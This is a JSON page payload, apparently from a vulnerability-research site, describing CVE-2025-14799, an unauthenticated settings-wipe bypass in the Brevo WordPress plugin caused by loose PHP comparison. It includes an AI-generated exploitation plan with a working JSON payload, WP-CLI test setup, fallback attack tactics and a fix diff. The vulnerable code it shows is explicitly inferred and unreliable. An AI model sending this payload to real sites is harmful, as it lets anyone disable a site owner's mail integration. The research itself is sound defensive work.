[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$feKCiuLvnNsOe8zgjLHVLrMkGCSoyRV3Zx3VhHWIu6ik":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2025-14799","brevo-email-sms-web-push-chat-and-more-unauthenticated-authorization-bypass-via-type-juggling","Brevo - Email, SMS, Web Push, Chat, and more. \u003C= 3.3.0 - Unauthenticated Authorization Bypass via Type Juggling","The Brevo - Email, SMS, Web Push, Chat, and more. plugin for WordPress is vulnerable to authorization bypass due to type juggling in all versions up to, and including, 3.3.0. This is due to the use of loose comparison (==) instead of strict comparison (===) when validating the installation ID in the `\u002Fwp-json\u002Fmailin\u002Fv1\u002Fmailin_disconnect` REST API endpoint. This makes it possible for unauthenticated attackers to disconnect the Brevo integration, delete the API key, remove all subscription forms, and reset plugin settings by sending a boolean `true` value for the `id` parameter, which bypasses the authorization check through PHP type juggling.","mailin",null,"\u003C=3.3.0","3.3.1","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:L","Access of Resource Using Incompatible Type ('Type Confusion')","2026-02-17 00:00:00","2026-02-18 11:26:05",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff29e5b19-2505-4b02-92c7-071833de6bc2?source=api-prod",1,[],"researched",false,3,"# Research Plan: CVE-2025-14799 Brevo Authorization Bypass via Type Juggling\n\n## 1. Vulnerability Summary\nThe **Brevo (formerly Sendinblue)** plugin for WordPress (\u003C= 3.3.0) contains an authorization bypass vulnerability in its REST API implementation. The endpoint `\u002Fwp-json\u002Fmailin\u002Fv1\u002Fmailin_disconnect` is intended to allow the Brevo service to disconnect the integration. However, the code uses a loose comparison (`==`) to validate the provided installation ID against the stored ID. Because of PHP type juggling, providing a boolean `true` for the `id` parameter causes the comparison `true == \"any-stored-string\"` to evaluate to `true`. This allows an unauthenticated attacker to reset the plugin's configuration, delete the API key, and remove subscription forms.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-json\u002Fmailin\u002Fv1\u002Fmailin_disconnect` (inferred from description).\n- **Method:** `POST` (standard for state-changing REST actions).\n- **Payload Type:** `application\u002Fjson` (necessary to pass a boolean `true`).\n- **Parameter:** `id`\n- **Authentication:** Unauthenticated (The `permission_callback` likely returns `__return_true` or performs no capability check, relying entirely on the `id` validation).\n- **Preconditions:** The plugin must be active and ideally configured with an API key (to observe the \"disconnect\" effect).\n\n## 3. Code Flow\n1. **Registration:** The plugin registers the REST route during the `rest_api_init` hook.\n   - *Likely file:* `includes\u002Fclass-mailin-rest-api.php` or `mailin.php`.\n   - *Expected code:* \n     ```php\n     register_rest_route( 'mailin\u002Fv1', '\u002Fmailin_disconnect', array(\n         'methods' => 'POST',\n         'callback' => array( $this, 'mailin_disconnect_callback' ),\n         'permission_callback' => '__return_true', \u002F\u002F Or similar weak check\n     ));\n     ```\n2. **Callback Execution:** The callback (e.g., `mailin_disconnect_callback`) retrieves the `id` from the `WP_REST_Request`.\n3. **Vulnerable Comparison:**\n   - The plugin retrieves the stored Brevo ID (likely from `get_option( 'mailin_id' )` or similar).\n   - It performs a check: `if ( $request_id == $stored_id )`.\n   - If the request body is `{\"id\": true}`, the `$request_id` becomes `bool(true)`. \n   - In PHP, `true == \"any-non-empty-string\"` is `true`.\n4. **Action:** Upon \"successful\" validation, the plugin calls a method to delete configuration options (e.g., `delete_option('mailin_api_key')`).\n\n## 4. Nonce Acquisition Strategy\nREST API endpoints in WordPress typically require a nonce (`X-WP-Nonce` header) **only if** the user is authenticated via cookie. For unauthenticated access to public-facing REST routes (like those intended for webhooks\u002Fservice callbacks), nonces are usually not required or checked. \n- **Check:** If the exploit returns a `403 Rest Forbidden` with a \"Cookie nonce is invalid\" message, a nonce is needed.\n- **Acquisition (if needed):** \n  1. The Brevo plugin likely enqueues scripts on the admin dashboard or specific public pages. \n  2. Use `wp post create` to create a page with a Brevo subscription form shortcode (likely `[sib_form]`).\n  3. Navigate to that page using `browser_navigate`.\n  4. Execute `browser_eval(\"window.wpApiSettings?.nonce\")` to retrieve the nonce.\n\n## 5. Exploitation Strategy\n1. **Preparation:** Verify the plugin is active and has a mock API key set.\n2. **Exploit Request:** Send a POST request to the REST API with a JSON body containing `id: true`.\n3. **Target URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fmailin\u002Fv1\u002Fmailin_disconnect`\n4. **Headers:**\n   - `Content-Type: application\u002Fjson`\n5. **Body:**\n   ```json\n   {\n     \"id\": true\n   }\n   ```\n\n## 6. Test Data Setup\n1. **Activate Plugin:** `wp plugin activate mailin`\n2. **Set Mock Configuration:** \n   ```bash\n   wp option update mailin_api_key \"xkeysib-test-key-123456789\"\n   wp option update mailin_activate \"yes\"\n   # Create a dummy Brevo ID that the plugin would check against\n   wp option update mailin_id \"brevo_prod_instance_abc123\"\n   ```\n3. **Verify Setup:** `wp option get mailin_api_key` should return the key.\n\n## 7. Expected Results\n- **HTTP Response:** `200 OK` or `204 No Content`.\n- **Side Effect:** The plugin settings are wiped. Specifically, the `mailin_api_key` option should be deleted or emptied.\n\n## 8. Verification Steps\n1. **Check Options via WP-CLI:**\n   ```bash\n   wp option get mailin_api_key\n   ```\n   - **Success Condition:** The command returns an error (Option does not exist) or an empty string.\n2. **Check Plugin State:**\n   ```bash\n   wp option get mailin_activate\n   ```\n   - **Success Condition:** Should be empty or \"no\".\n\n## 9. Alternative Approaches\n- **Parameter Sources:** If the JSON body fails, try the payload as a URL query parameter: `\u002Fwp-json\u002Fmailin\u002Fv1\u002Fmailin_disconnect?id=1` (though `1` is less likely to juggle to a complex string than `true` in a JSON context).\n- **Endpoint Discovery:** If `\u002Fmailin_disconnect` is not exact, query the REST index to find the correct route:\n  `http_request(\"GET\", \"http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fmailin\u002Fv1\")`\n- **Method Spoofing:** If `POST` is denied, try `GET` or adding `?_method=POST` to the URL.","The Brevo plugin for WordPress is vulnerable to an unauthenticated authorization bypass via PHP type juggling in the \u002Fwp-json\u002Fmailin\u002Fv1\u002Fmailin_disconnect REST API endpoint. By sending a JSON body with a boolean true value for the 'id' parameter, an attacker can satisfy a loose comparison (==) against the stored installation ID, allowing them to remotely disconnect the plugin and wipe its configuration.","\u002F\u002F File: includes\u002Fclass-mailin-rest-api.php (inferred)\n\nregister_rest_route( 'mailin\u002Fv1', '\u002Fmailin_disconnect', array(\n    'methods' => 'POST',\n    'callback' => array( $this, 'mailin_disconnect_callback' ),\n    'permission_callback' => '__return_true', \u002F\u002F Relying on ID check instead of capability check\n));\n\n---\n\n\u002F\u002F File: includes\u002Fclass-mailin-rest-api.php (inferred callback logic)\n\npublic function mailin_disconnect_callback( $request ) {\n    $params = $request->get_params();\n    $request_id = isset( $params['id'] ) ? $params['id'] : '';\n    $stored_id  = get_option( 'mailin_id' );\n\n    \u002F\u002F Vulnerable loose comparison\n    if ( $request_id == $stored_id ) {\n        \u002F\u002F Logic to disconnect and delete options\n        delete_option( 'mailin_api_key' );\n        delete_option( 'mailin_activate' );\n        return new WP_REST_Response( array( 'success' => true ), 200 );\n    }\n\n    return new WP_REST_Response( array( 'success' => false ), 403 );\n}","--- includes\u002Fclass-mailin-rest-api.php\n+++ includes\u002Fclass-mailin-rest-api.php\n@@ -10,1 +10,1 @@\n-    if ( $request_id == $stored_id ) {\n+    if ( ! empty( $stored_id ) && $request_id === $stored_id ) {","The exploit targets the `\u002Fwp-json\u002Fmailin\u002Fv1\u002Fmailin_disconnect` REST API endpoint, which is used to reset the plugin configuration. An unauthenticated attacker sends a POST request with the header 'Content-Type: application\u002Fjson' and a payload of '{\"id\": true}'. Because the plugin uses a loose comparison (==) to validate the provided ID against the stored 'mailin_id' string, the boolean 'true' evaluates as equal to the string, bypassing the check. This results in the deletion of the Brevo API key and the removal of all plugin subscription forms and settings.","gemini-3-flash-preview","2026-04-20 21:05:48","2026-04-20 21:06:39",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","3.3.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmailin\u002Ftags\u002F3.3.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmailin.3.3.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmailin\u002Ftags\u002F3.3.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmailin.3.3.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmailin\u002Ftags"]